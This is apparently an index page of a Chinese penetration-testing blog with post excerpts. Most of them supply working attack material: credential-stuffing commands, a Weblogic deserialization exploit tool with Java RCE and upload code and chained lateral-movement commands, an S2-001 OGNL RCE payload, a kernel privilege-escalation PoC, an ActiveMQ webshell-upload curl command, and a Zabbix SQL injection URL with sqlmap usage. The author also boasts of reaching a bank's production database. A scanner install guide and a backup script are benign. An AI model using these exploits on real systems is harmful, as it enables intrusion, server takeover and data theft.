渗透技巧

撞库攻击连续剧(1)

 撞库攻击连续剧(1)
撞库攻击连续剧(1) 直接撞库-BT版 所谓的直接撞库,说的是网站的登陆功能简单到只需要输入username和password, 点击-登陆-按钮就能完成登陆的这一类非正常人类设计情况。 这种情况在现实生活中越来越罕见了,针对这种情况,完全可以不用写代码就能搞定。 推荐工具 1. burpsuite burp是作为web狗的入门级工具,使用burp进行爆破就不在多说。 2. hydra 对于我来说使用hydra进行form表单撞库使用的很少,使用参考命令如下: hydra -l 用户名 -P 密码字典 -s 80 ip http-post-form "/admin/login.php:username=^USER^&password=^PASS^&submit=login:sorry password" 3. htpwdScan htpwdScan神器也很少使用,记录一下参考命令: python htpwdScan.py -f post.txt -d uid=user.txtpassw=password.txt -hsuc="登陆成功标志" 举个栗子,拿testfire网站进行测试: 1.使用hydra撞库: hydra -C user-pass.txt -s 80 -q -e ns -t 6 -m "/bank/login.aspx:uid=^USER^&passw=^PASS^&btnSubmit=Login:S=302 Found" demo.testfire.net http-post-form 效果: 成功撞库6个测试帐号 2.使用htpwdScan撞库 python htpwdScan.py -f post_testfire.txt -d uid=./user.txt passw=./password.txt -hsuc="<title>Object moved</title>" 效果: 以上是我收集的用于直接撞库的工具及利用方式,当然实现的工具远不止上面这些,你若感兴趣可以去收集整理一下,然后给大家分享一下。... 继续阅读 »
渗透技巧

我是如何造Weblogic反序列化漏洞EXP的轮子

我是如何造Weblogic反序列化漏洞EXP的轮子
关键字: Weblogic、反序列化漏洞、EXP0x01. 简介从国内开始讨论分析Weblogic、Jboss、Websphere等中间件存在JAVA反序列化漏洞至今,已经过了大半年了。JAVA反序列化漏洞利用已经平民化的今天,每一个白帽子手里都有2-3个神器供自己做安全测试时使用。在内网渗透测试中,遇到有以下一种或多种复杂情况时现有的exp就毫无招架之力了:1、  目标受网络设备限制,不能能成功端口转发、代理,仅有Web端口能进出。2、  目标以及目标所在内网环境均为Linux或Unix服务器。3、  通过各种手段,只能拿到反弹shell或者webshell 上面是我暂时能想得到的以存在Weblogic反序列化漏洞的目标作为内网渗透入口时会遇到的尴尬的情况。因为实际需要,我改写了一个Python版本的Weblogic反序列化漏洞的EXP,本篇文章记录的是我如何改写我们团队Bird牛的Weblogic利用的EXP工具为Python版,也感谢Bird牛的提供的源码以供我分析和实现自己的小工具,这在之前的客户的渗透项目中起了大用处(PS: 第一次直捣xx银行生产数据库)。0x02. 思路及实现改写的 Weblogic EXP同样满足4个功能需要,分别如下:1、  连接目标:输入目标Ip、端口、尝试利用两种方式,上传payload到服务器。2、  上传文件:输入目标上文件保存路径,本地文件路径,能够上传文件。3、  执行命令:输入命令,执行命令并回显。4、  断开连接:清空目标服务器上的临时文件,关闭连接,退出程序。EXP使用Python编程实现,使用Socket模拟T3协议过程,实现上传payload和后续操作具体实现如下(PS:只对exp感兴趣的直接跳到第3节使用说明)。1. 连接目标连接目标其实就是构造payload,发送精心构造的payload利用weblogic反序列化漏洞的过程。我通过本地调试和抓包抓出了Bird的Exp中关键的payload,我将payload归纳定义为下面的变量:使用Socket利用方式的payload:1.     payload_socket_win_init2.     payload_socket_win_open_port3.     payload_socket_linux_init4.     payload_socket_linux_open_port 使用RMI利用方式的payload:1.     payload_rmi_win_init2.     payload_rmi_win_class3.     payload_rmi_linux_ini4.     payload_rmi_linux_class我们首先利用socket模拟T3协议将我们构造的用于执行命令,开启Socket服务器的payload(封装在T3协议里的构造的执行命令或开启socket服务端的序列化后的字节流)发送到目标的console端口,weblogic中间件在反序列化时把用于执行命令、开启socket服务的字节序列写入到了指定的路径下。然后第二次模拟T3协议过程,将之前上传的字节序列反序列化并利用反射机制执行上传文件、命令执行、开启socket服务器等操作。定义socket方法如下:58行代码是模拟T3协议头,如果目标端口允许T3协议进行数据传输,就会返回这样的字符串:HELO:10.3.5.0.falseAS:2048HL:19HELO表示目标接收T3协议冒号后面紧跟着weblogic版本,判断HELO字符串在socket接收到的响应里就可以进行下一步了。下一步就是封装好的T3协议数据流,这里的payload_type传输参是这样的:72行是程序的执行入口73——74行获取我们输入目标IP或域名,获取目标端口我将exp拆分为了对windows系统和对linux系统利用的独立脚本, 每一个脚本都包括了socket和RMI方式的利用手段,具体的payload的就不在文章中附上了,可以在脚本工具里面去看。Payload是我通过像上面截图里调试输出代码的方式,取出来的通用payload,exp实现的socket、rmi方式,针对linux和windows的一共8个payload,都在我的exp脚本里面。Exp中Socket利用方式默认以65500端口作为Socket服务器的监听端口。 测试windows目标:Weblogic10.3.5版本效果:    连接脚本目标目标之前:连接之后: 在目标的Temp临时目录下面成功写入了payload文件,同时exp成功执行whoami查的了当前用户。2. 执行命令执行命令有两种方式,一种是通过Socket方式将执行的命令以格式:cmd:::命令发送到目标启动的Socket服务端,如下面截图: 二是通过RMI方式,经过我多很久的研究也没法在Python下模拟JAVA实现RMI方式的调用,所以只能用JAVA写了一个辅助使用的JAR包来完成RMI方式的利用,我们使用JAVA命令调用辅助jar文件来让目标执行我们的命令。(安装weblogic中间件时会自带安装JAVA的,不存在目标服务器上不能执行java命令的情况。)实现代码大概如下: public class JavaExp {          private static String remoteWindowsPath = "/c:/windows/temp/H3y5ec.tmp";     private static String remoteLinuxPath = "/tmp/H3y5ec.tmp";       private static String Notices = ""             + "用法:\n"             + "1.一句话命令执行:\n"             + "例子:java exp.jar 127.0.0.1 7001 'net user'\n"             + "2.文件上传\n"             + "例子:java exp.jar 127.0.0.1 7001 upload '本地文件绝对路径' '远程目标文件绝对路径'\n";     private static RemoteObject remote;     public static void main(String[] args) throws NamingException {         if(args.length <3){             System.out.println("参数错误!!\n");             System.out.println(Notices);             System.exit(0);         }             String host = args[0];             String port = args[1];             String order =  args[2];             Hashtable<String, String> env = new Hashtable<String, String>();             env.put("java.naming.factory.initial",                     "weblogic.jndi.WLInitialContextFactory");             env.put("java.naming.provider.url", "t3://"                     +host+ ":" + port);             try {                 Context ctx = new InitialContext(env);                 remote = (RemoteObject) ctx                         .lookup("RemoteObject");             try {                 if("unbind".equals(order)){                     try {                         remote.unbind(remoteWindowsPath);                         remote.unbind(remoteLinuxPath);                         System.out.println("unbind_OK");                         return ;                     } catch (Exception e) {                     }                 }                 if("upload".equals(order)){                     if(args.length <5){                         System.out.println("参数错误!!\n");                         System.out.println(Notices);                         System.exit(0);                     }                     String localfilePath =  args[3];                     String remotefilePath = args[4];                                          UploadFile(localfilePath,remotefilePath);                 }else{                     String result = remote.exec(order);                     System.out.print("result:\n"+result);                    }             } catch (Exception e) {             }         } catch (Exception e) {             System.out.println("ConnectFailed");         }     }     public static void UploadFile(final String localfilePath,final String remotefilePath){         new Thread(new Runnable() {             @Override             public void run() {                 FileInputStream fileInputStream = null;                 try {                     File file = new File(localfilePath);                     fileInputStream = new FileInputStream(file);                     long total = file.length();                     byte[] data = new byte[100 * 1024];                     double sendedLen = 0;                     NumberFormat nf = NumberFormat.getPercentInstance();                     int len = fileInputStream.read(data);                         if (len != -1) {                             if (remote.upload(remotefilePath,                                     Arrays.copyOfRange(data, 0, len),                                     false)) {                                 sendedLen = sendedLen + len;                                 System.out.println("上传中...已完成"                                         + nf.format(sendedLen / total));                                 while ((len = fileInputStream                                         .read(data)) != -1) {                                     if (!remote.upload(remotefilePath,                                             Arrays.copyOfRange(data, 0,                                                     len), true)) {                                         System.out.println("上传失败!");                                         break;                                     }                                     sendedLen = sendedLen + len;                                     System.out.println("上传中...已完成"                                             + nf.format(sendedLen                                                     / total));                                 }                                 if (len == -1) {                                     System.out.println("上传成功!");                                 }                             } else {                                 System.out.println("上传失败!");                             }                         } else {                             System.out.println("上传失败!");                         }                 } catch (Exception e) {                     System.out.println("上传失败!");                 } finally {                     try {                         fileInputStream.close();                     } catch (IOException e1) {                     }                 }             }         }).start();     } }从代码的实现功能来看,那么执行命令的调用就是这样的:Java –jar xxxx.jar Ip port “command”3. 上传文件 使用RMI方式调用上传文件的函数完成文件上传,上面的代码中UploadFile里面已经给了具体的实现,上传文件的调用和效果如下: 4. 断开连接使用反注册类,将我们上传的payload临时文件清空。实现代码截图如下: 0x03. EXP使用手册usage: win_weblogic_exp.py [-h] [-target TARGET] [-port PORT] [-cmd CMD]                            [-lfile LFILE] [-rfile RFILE] optional arguments: -h, --help       show this help message and exit——查看帮助   -target TARGET  the target ip or domain.——指定目标IP或域名   -port PORT      the target port.——指定目标端口   -cmd CMD      [init|command|bye|upload]—— 选择类型: Ø  init : exp会上传payload,尝试利用反序列化漏洞。 Ø  command: 执行一句话命令 Ø  bye: 断开目标,清空上传在目标服务器上的payload文件。 Ø  upload: 进入上传文件模式,后面必须补充lfile和rfile参数。   -lfile LFILE      local file.——本地文件绝对路径。   -rfile RFILE     remote file.——上传文件在目标服务器上保存的绝对路径。1. 连接目标用法:python win_weblogic_exp.py -target 218.*.**.99 -port 7001 -cmd init效果:2.    执行一句话命令用法:python win_weblogic_exp.py -target 218.*.**.99 -port 7001 -cmd "cmd /c ipconfig"3.    上传文件使用py脚本用法:python win_weblogic_exp.py -target 192.168.18.133 -port 7001 -cmd upload -lfile "E://boot.ini.txt" -rfile "C://boot.ini.txt"或者使用辅助jar文件: 上传文件:或者:查看文件:或者:上传文件:查看文件:4.    断开目标用法:python win_weblogic_exp.py -target 192.168.18.133 -port 7001 -cmd bye    0x04. 总结写本轮子主要是为了方便在内网渗透测试时方便使用,现在网上流传的exp均是大牛们写的GUI版的带回显,不需要通外网的实现版本。当遇到全linux和不能远程桌面的windows内网时,想要进一步攻击内网中存在weblogic反序列化漏洞的服务器时,这个轮子就发挥了巨大作用。总结一下造的这个轮子的功能。1、  适用于Linux服务器(因为他们自带python环境,后面有空会再造个JAR版的EXP就通用于Windows和Linux了。)2、  支持一句话命令执行。3、  支持文件上传 PS: windows和linux攻击exp轮子会在文章最后附上,下面是一片瞎想。0x05. 瞎想突然冒出的想法:“蚯蚓式”攻击:假如有这样的环境:A 、B、C、D…… N内网全是Linux服务器,他们分别是第一层、第二层、第三层、…… 第N层内网。A ——B——C——D——…….NA:是内网入口B 、C、D…..是2层、3层、4层….N层内网主机,都存在weblogic反序列化漏洞。那么我们就可以用这个轮子,一层一层的把他们串起来。1、  攻击者 VS 服务器Apython linux_weblogic_exp.py -target A_IP -port 7001 -cmd init上传攻击EXP轮子到A服务器python linux_weblogic_exp.py -target A_IP -port 7001 -cmd upload -lfile "攻击者电脑上exp" -rfile “A服务器上EXP”2、  已沦陷的A服务器 VS B服务器python win_weblogic_exp.py -target A_IP -port 7001 –cmd “python /tmp/linux_weblogic_exp.py –target B_IP –port –cmd init” 控制A上传攻击EXP轮子到B服务器上python win_weblogic_exp.py -target A_IP -port 7001 -cmd “python /tmp/linux_weblogic_exp.py –target B_IP –port 7001 –cmd upload –lfile ‘A服务器上EXP ’ –rfile ‘B 服务器上EXP’”3、  已沦陷的B服务器 VS C服务器python linux_weblogic_exp.py -target A_IP -port 7001 -cmd “python /tmp/linux_weblogic_exp.py –target B_IP –port 7001 –cmd ‘python /tmp/linux_weblogic_exp –target C_IP –port 7001 –cmd init’”让A服务器控制B服务器上传EXP轮子到C服务器python linux_weblogic_exp.py -target A_IP -port 7001 -cmd “python /tmp/linux_weblogic_exp.py –target B_IP –port 7001 –cmd ‘python /tmp/linux_weblogic_exp –target C_IP –port 7001 –cmd upload –lfile ‘B服务器上EXP’ –rfile ‘C服务器上EXP’ ’”4、……不断往下个”蚯蚓式攻击” 上面的瞎想有可能成为现实,我之前遇到的全Linux内网环境,只有2层网络。也就是B、C、D都在第二层内网,我控制了A,通过A控制了第二层内网3-4台Weblogic服务器,其中一个上面找到了连接核心数据库的配置,从而能够直达某网银生产数据库。这样的“蚯蚓式攻击”很绕也很复杂,当然能突破网络边界限制,端口转发或代理出来或映射过去能直达下一层网络,谁愿意这么费力去绕弯子啊??... 继续阅读 »
渗透工具

xunfeng-搭建简要记录

xunfeng-搭建简要记录
巡风是一款适用于企业内网的漏洞快速应急,巡航扫描系统。巡风下载地址安装环境:Ubuntu14.04 x64 TSL系统 注意:Python版本不能太低,我在Ubuntu,Win7和Mac上的测试中,使用的都是python 2.7.9版本以上安装过程:      1、安装python库pip install pymongo Flask xlwt paramiko      2、下载mongoDB、巡风代码wget  https://sec.ly.com/mirror/mongodb-linux-x86_64-ubuntu1404-3.4.0.tgz wget https://github.com/ysrc/xunfeng/archive/master.zip      3、解压mongoDB、巡风代码tar -zxvf  mongodb-linux-x86_64-ubuntu1404-3.4.0.tgz apt-get install unzip -y  unzip master.zip      4、配置mongoDB、巡风数据库、日志目录创建数据库目录: mkdir /home/CF_HB/xunfengScanDB 移动mongodb mv /home/CF_HB/mongodb-linux-x86_64-ubuntu1404-3.4.0 /opt/mongodb3.4/ 初始化 nohup /opt/mongodb3.4/mongod --port 65521 --dbpath /home/CF_HB/xunfengScanDB & 导入数据库 /opt/mongodb3.4/mongorestore -h 127.0.0.1 --port 65521 -d xunfeng /home/CF_HB/xunfeng-master/db 配置认证: /opt/mongodb3.4/mongo --port 65521 use xunfeng db.createUser({user:'scan',pwd:'CFHB@@@@@@@',roles:[{role:'dbOwner',db:'xunfeng'}]}) exit 创建日志目录 mkdir /var/log/xunfeng 因为我使用的是(普通用户权限安装),为了避免出问题,需要修改下权限 赋予DB目录权限 sudo chown -R CF_HB:CF_HB /home/CF_HB/xunfengScanDB/ 赋予xunfeng目录权限 sudo chown -R CF_HB:CF_HB /home/CF_HB/xunfeng/      5、修改时区echo TZ\='Asia/Shanghai'\; export TZ >> ~/.bash\_profile source ~/.bash\_profile      6、修改mongodb的连接密码-Config.py的第10行vi /home/CF_HB/xunfeng-master/Config.py class Config(object):     ACCOUNT = 'admin'     PASSWORD = 'xunfeng321' 这里是http://127.0.0.1:80/的登陆密码 class ProductionConfig(Config):     DB = '127.0.0.1'     PORT = 65521     DBUSERNAME = 'scan'     DBPASSWORD = 'CFHB@@@@@@@' 你的密码在这里修改     DBNAME = 'xunfeng'      7、修改Run.sh文件vi /home/CF_HB/xunfeng-master/Run.sh #!/bin/bash CURRENT_PATH=`dirname $0` cd $CURRENT_PATH XUNFENG_LOG=/var/log/xunfeng          这里是日志目录 XUNFENG_DB=/home/CF_HB/xunfengScanDB  这里配置MongoDB的路径 [ ! -d $XUNFENG_LOG ] && mkdir -p ${XUNFENG_LOG} [ ! -d $XUNFENG_DB ] && mkdir -p ${XUNFENG_DB} # 下面这里配置了mongodb的绝对路径,或者添入环境变量也可以 nohup /opt/mongodb3.4/bin/mongod --port 65521 --dbpath=${XUNFENG_DB} --auth  > ${XUNFENG_LOG}/db.log & nohup python ./Run.py > ${XUNFENG_LOG}/web.log & nohup python ./aider/Aider.py > ${XUNFENG_LOG}/aider.log & nohup python ./nascan/NAScan.py > ${XUNFENG_LOG}/scan.log & nohup python ./vulscan/VulScan.py > ${XUNFENG_LOG}/vul.log &      8、配置masscan参考:  $ sudo apt-get install git gcc make libpcap-dev $ git clone https://github.com/robertdavidgraham/masscan $ cd masscan $ make      9、启动sudo sh /home/CF_HB/xunfeng-master/Run.sh使用效果:        PS: 可以在Run.py里面自己修改端口安装环境:Windows7 x64 安装过程:      1、安装python库pip install pymongo Flask xlwt paramiko      2、手动下载xunfeng,mongodb安装包    手动操作,手动安装mongodb(默认格式),添加mongodb到环境变量     我解压后放在了:     C:\xunfeng\xunfeng-master      3、解决mongodb的缺少包的错误,下载安装vc_redist.x64.exe下载地址https://www.microsoft.com/zh-cn/download/confirmation.aspx?id=48145       4、配置mongodb创建DB目录 C:\xunfeng\xunfengDB 初始化: mongod.exe --port 65521 --dbpath C:\xunfeng\xunfengDB 导入数据: mongorestore.exe -h 127.0.0.1 --port 65521 -d xunfeng C:\xunfeng\xunfeng-master\db 添加认证: 新开CMD窗口: mongo --port 65521 use xunfeng db.createUser({user:'scan',pwd:'CFHB@@@@@@@',roles:[{role:'dbOwner',db:'xunfeng'}]}) exit     5、修改mongodb的连接密码-Config.py的第10行vi /home/CF_HB/xunfeng-master/Config.py class Config(object):     ACCOUNT = 'admin'     PASSWORD = 'xunfeng321' 这里是http://127.0.0.1:80/的登陆密码 class ProductionConfig(Config):     DB = '127.0.0.1'     PORT = 65521     DBUSERNAME = 'scan'     DBPASSWORD = 'CFHB@@@@@@@' 你的密码在这里修改     DBNAME = 'xunfeng'      6、双击点开Run.bat 启动xunfeng 效果:PS: Github说明那么详细,安装没毛病啊,为啥那么多人各种问题????... 继续阅读 »
渗透技巧

那些年Debug过的[S2-001]笔记

那些年Debug过的[S2-001]笔记
故事背景。      终于鼓起勇气,开始Debug 那些年为之痴狂的Struts2 漏洞。本系列我会抽工作之余,尽最大努力的去构造这一些列漏洞案发的环境,在前人的基础上去Debug还原案发过程中的细节。感谢@RickGray大牛的 Struts2 历史 RCE 漏洞回顾不完全系列 带来的帮助。关于S2-001漏洞    漏洞名:S2-001漏洞,它是Struts2一系列漏洞的噩梦开始,官方地址是:S2-001介绍 ,          官方给的一句话描述 “form表单校验错误时的远程代码执行漏洞”。    漏洞影响范围:Struts 2.0.0 - Struts 2.0.8 ,WebWork 2.2.0 - WebWork 2.2.5     漏洞原因:          上述的Struts2、WebWork版本中使用了xwork-2.0.4以下版本,它默认是启用了altSyntax特性。这个特性允许用户在输入的字符串中包含OGNL表达式,当校验出错的时候,后端程序会对用户提交的参数值用 OGNL 表达式 %{value} 进行匹配,然后放到OGNL中去执行计算结果,重新填充到对应的表单数据中返回给前端响应。所以,我们对payload,可以直接构造%{}形式的OGNL表达式进行RCE。Debug过程        要想Debug这个漏洞,就得还原漏洞发生的环境,这里我直接用了RickGray牛的war包进行调试。    调试环境:Struts2.0.8Tomcat V8.5.9JDK V1.8.0J2EE Eclipse    配置:struts.xml 配置Action类web.xml配置struts过滤器,匹配所有地址发给struts2处理配置Struts2.0.8,ognl,xwork的源码关联。(为了在调试中查看对应源码)       这里跳过怎么配置IDE,Server,部署运行war的环节。因为Struts2会解析标签,去构造生成表单,这里为了调试更简洁,我这里只用Struts2标签构造了最简单的标签写法,就一个name属性,POST传值使用。     代码如下:<%@ page language="java" contentType="text/html; charset=UTF-8"     pageEncoding="UTF-8"%> <%@ taglib prefix="s" uri="/struts-tags" %> <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <title>S2-001</title> </head> <body> <h2>S2-001 Demo</h2> <p>link: <a href="https://struts.apache.org/docs/s2-001.html">https://struts.apache.org/docs/s2-001.html</a></p> <textarea rows="5" cols="80"> POC: %{@java.lang.Runtime@getRuntime().exec("open /Applications/Calculator.app")} </textarea> <h2>Struts2 Tag Form1</h2> <s:form action="login"> <s:textfield name="username" /> <s:password name="password"  /> <s:submit value="点击登陆"></s:submit> </s:form> </body> </html>     Eclipse以Debug方式运行启动Tomcat,带上POC 代码,利用Firefox POST提交表单,并开始调试追踪运行过程。          如果配置了源码关联,这个单步调试过程就比较容易知道当前正在做什么。        根据预先知道的,S2-001漏洞是和标签(Tag)相关,所以主要调到一个叫“ TagHandlerPool.get ”地方来,前面直接F9过了。    F5跟进这里面去看看,因为中间的过程非常多,涉及到各种类比较多,所以这里我的主要思想是尽量往:出现Tag,Ognl,Field字眼的地方去跟进去细看。现在开始跟进这个漏洞主要发生点:<s:textfield>标签。    F5跟进去就到了TextFieldTag类,到了一个定义前端标签的AbstractUITag抽象类,在面向对象编程语言里,有种一切事物皆对象的思想,这个UI标签抽象类可以被具体实现补充,然后得到一个Struts2标签生存的前端展示UI页面。    重写ComponentTagSupport类,构造表单标签属性等。要完成标签需要重写doStartTag,doEndTag函数,下面跟踪这2个函数。    跟进这里,多次调试,告诉我需要F5进去,跟到下面看到进入了UIBean类,根据取名可以大概推断这是在构造最基本的界面UI对象。       跟进evaluateParams(),可以看到这个是在生成标签的属性和赋值。看实现的代码中,label属性和value属性是支持OGNL形式的。     username的值被用%{username}进行了赋值。    跟进findValue查看    追踪getStack():进一步追踪看看上图第29行里面的createValueStack代码,看到了OGNL的影子   追踪到OgnlValueStack定位到最前面调用的findValue函数,然后看到了赤裸裸的Ognl执行地方。  经过漫长的F5过程,终于抓到了案发现场:        最终返回给页面的样子:         响应回前端的信息重新赋的username的值是线程的栈信息,可以在Eclipse里使用鼠标右键-Copy Stack 可以得到。漏洞修复       官方发布信息:https://struts.apache.org/docs/release-notes-209.html         在Struts2.0.9中使用了xwork2.0.4版本,来修复输入表单中OGNL执行漏洞。小记:    1、为了方便暂停观察,加断点是很重要的。        相关资源链接:xwork-2.0.4.jarStruts 2.0.9更新信息Struts2 JAR包下载地址 其他JAR包下载... 继续阅读 »
Exploit

CVE-2016-8655:Linux内核竞争条件漏洞提权 (PoC)

CVE-2016-8655:Linux内核竞争条件漏洞提权 (PoC)
  CVE-2016-8655参考链接:http://www.freebuf.com/vuls/122152.html   EXP:exp说明:     根据作者提示,他提供了部分内核版本的测试偏移,如果要测试其他的版本,可能需要手动添加。添加地址如下截图:struct offset {     char *kernel_version;     unsigned long proc_dostring;     unsigned long modprobe_path;     unsigned long register_sysctl_table;     unsigned long set_memory_rw; };     需要添加一组结构体,分别由:proc_dostring、modprobe_path、register_sysctl_table、set_memory_rw    组成。    这四个参数的值可以到文件查看/proc/kallsyms 命令: sudo cat /proc/kallsyms      效果:Kali2.0 测试成功,ubuntu14.04.1内核3.19测试不成功。            PS:内核版本需要3.2以上... 继续阅读 »
Bash编程

跟老司机学shell技巧

跟老司机学shell技巧
记录绝对实用的shell技巧      处理payload时会用到的: 1、转化payload字符串命令: echo xxx | sed 's/\(..\)/\\x\1/g' 原字符串: 3f400000707078740008656e747279536512e6c616e67278707871007e004f 转换后: \x3f\x40\x00\x00\x70\x70\x78\x74\x00\x08\x65\x6e\x74\x72\x79\x53\x65\x12\xe6\xc6\x16\xe6\x72\x78\x70\x78\x71\x00\x7e\x00\x4f    命令: echo 3f400000707078740008656e747279536512e6c616e67278707871007e004f | sed 's/\(..\)/\\x\1/g' python实现方式: payload_cmd = 'cmd /c calc.exe' payload_cmd_hex ='' hex_tmp = payload_cmd.encode('hex') i=0 while i< (len(hex_tmp)):     payload_cmd_hex = payload_cmd_hex + '\x'+hex_tmp[i:i+2]     i = i+2 print len(payload_cmd_hex) by 曲总 方式1 hex_tmp = payload_cmd.encode('hex') length_hex = chr(len(hex_tmp) / 2) length_hex = "%02x" % (len(hex_tmp) / 2) 方式2 chr((len(hex_tmp) / 2)).encode('hex')... 继续阅读 »
渗透技巧

关于Tomcat远程代码执行漏洞(CVE-2016-8735)

关于Tomcat远程代码执行漏洞(CVE-2016-8735)
     最近大家都在预警这个漏洞,虽然很鸡肋,但是也有躺枪的。周末我也赶着热度,复现了一把这个RCE。踩过了很多坑,   网上漫天飞的预警中,却没有人真正说明白了,大佬们都不屑于说这么细节都东西吗?菜鸟表示压力很大。    坑点: server.xml里面配置使用JmxRemoteLifecycleListener这个类型的监听器 JMX配置不需要账号密码认证 tomcat的libs里面需要存在jmx的支持包和ysoserial支持的存在反序列化漏洞的Jar包 本地测试效果: 远程RCE: ** ** 提供一下测试环境和新编译的ysoserial:     环境:apache-tomcat-8.0.36      链接:http://pan.baidu.com/s/1i4H9ryH 密码:0jeu **关于利用细节,推荐看师傅的这篇良心文章:http://www.mottoin.com/93100.html ** 我写的EXP:TomcatCVE8753_EXP ** **... 继续阅读 »
渗透技巧

ActiveMQExP-新

ActiveMQExP-新
$ curl -u 'admin:admin' -v -X PUT --data "@cmd.jsp" http://192.168.1.114:8161/fileserver/..\\admin\\cmd.jsp     cmd.jsp                Commands with JSP                                            效果图: 学习自: http://0day.today:100/exploit/26461 老的方法可以用我写的exp脚本: https://github.com/coffeehb/Some-PoC-oR-ExP/tree/master/ActiveMQExP... 继续阅读 »
渗透技巧

Zabbix SQL 注入漏洞[漏洞预警]

Zabbix SQL 注入漏洞[漏洞预警]
来源:网络    0x01.漏洞概述        zabbix 是一个开源的企业级性能监控解决方案。        官方网站:http://www.zabbix.com        zabbix 的 jsrpc 的 profileIdx2 参数存在 insert 方式的 SQL 注入漏洞,攻击者无需授        权登陆即可登陆 zabbix 管理系统,也可通过 script 等功能轻易直接获取 zabbix 服务        器的操作系统权限。    0x02.影响程度        攻击成本:低        危害程度:高        是否登陆:不需要        影响范围:2.0.5 2.0.13 2.2.x, 2.4.2 2.4.5 2.4.7 2.4.8 2.5.0 3.0.0-3.0.3。(其他版本未经测试)    0x03.漏洞测试        在您的 zabbix 的地址后面加上如下 url:/jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get&ti mestamp=1471054088083&mode=2&screenid=&groupid=&hostid =0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2 =2’3297&updateProfile=true&screenitemid=&period=3600&stim e=20170813040734&resourcetype=17&itemids%5B23297%5D=232 97&action=showlatest&filter=&filter_task=&mark_color=1        输出结果,出现如下内容表示漏洞存在:                            补充:        以上为仅为漏洞验证测试方式。        Sqlmap 验证:Sqlmap.py –u “http://xxxx//jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get&ti mestamp=1471054088083&mode=2&screenid=&groupid=&hostid=0&pageFile =history.php&profileIdx=web.item.graph&profileIdx2=2’3297&updateProfile=tr ue&screenitemid=&period=3600&stime=20170813040734&resourcetype=17&ite mids%5B23297%5D=23297&action=showlatest&filter=&filter_task=&mark_color =1” --dbms=mysql -–level 3 --time-sec 10 --dbs --random-agent –p “profileIdx2”    0x04.修复方案:            尽快升级到最新版, 3.0.4 版本已经修补.            安全提示            监控系统监控着每个企业的核心资产,一旦被黑客入侵控制,等同帮助黑客进一步渗透企            业敞开了大门。            请大家务必重视,并尽快修补此漏洞。... 继续阅读 »
Bash编程

一个博客备份Bash脚本

一个博客备份Bash脚本
       为了保证blog的数据安全,用bash写了一个粗糙的打包备份web和数据库的脚本,结合定时任务,每日对VPS数据进行安全备份。我的Bash备份脚本如这样:~# cat /home/script/backzblog.sh  #!/bin/bash #backup tool webDIR="www`date +%Y%m%d`.tgz" Day="`date +%Y%m%d`" backupDIR="/mnt/CF_HB/`date +%Y%m%d`" sqlDIR="sql`date +%Y%m%d`.tgz" /bin/mkdir "${backupDIR}" #mount disk /bin/mount -t ntfs-3g /dev/sdb5 "/ment/CF_HB" #backup web cd /xxxx/wwwroot/ && /bin/tar zcf "${webDIR}"  --exclude=*.tgz html/ && echo "backup web success !!!"  /bin/mv "${webDIR}" "${backupDIR}" #backup database /sbin/service mysql stop cd /xxx/xxxx/mysql/var/ && /bin/tar zcf "${sqlDIR}"  --exclude=*.tgz blog/ && echo "backup sql success !!!"  /bin/mv "${sqlDIR}" "${backupDIR}" /sbin/service mysql start #/bin/umount -v /dev/sdb5         做了哪些处理:                 1、挂载第二个硬盘                 2、以当前年月日格式创建目录如:20150709                 3、tar打包web目录下所有文件与目录                 4、关闭数据库,tar打包数据库数据文件                 5、mv备份文件到备份地址,重启mysql服务。        效果:[root@cloud mnt]# /home/script/backzblog.sh  backup web success !!! Shutting down MySQL. SUCCESS!  backup sql success !!! Starting MySQL. SUCCESS!  [root@cloud mnt]# ls CF_HB/ 20160805  System Volume Information [root@cloud mnt]# ls CF_HB/20160805/ sql20160805.tgz  www20160805.tgz [root@cloud mnt]#... 继续阅读 »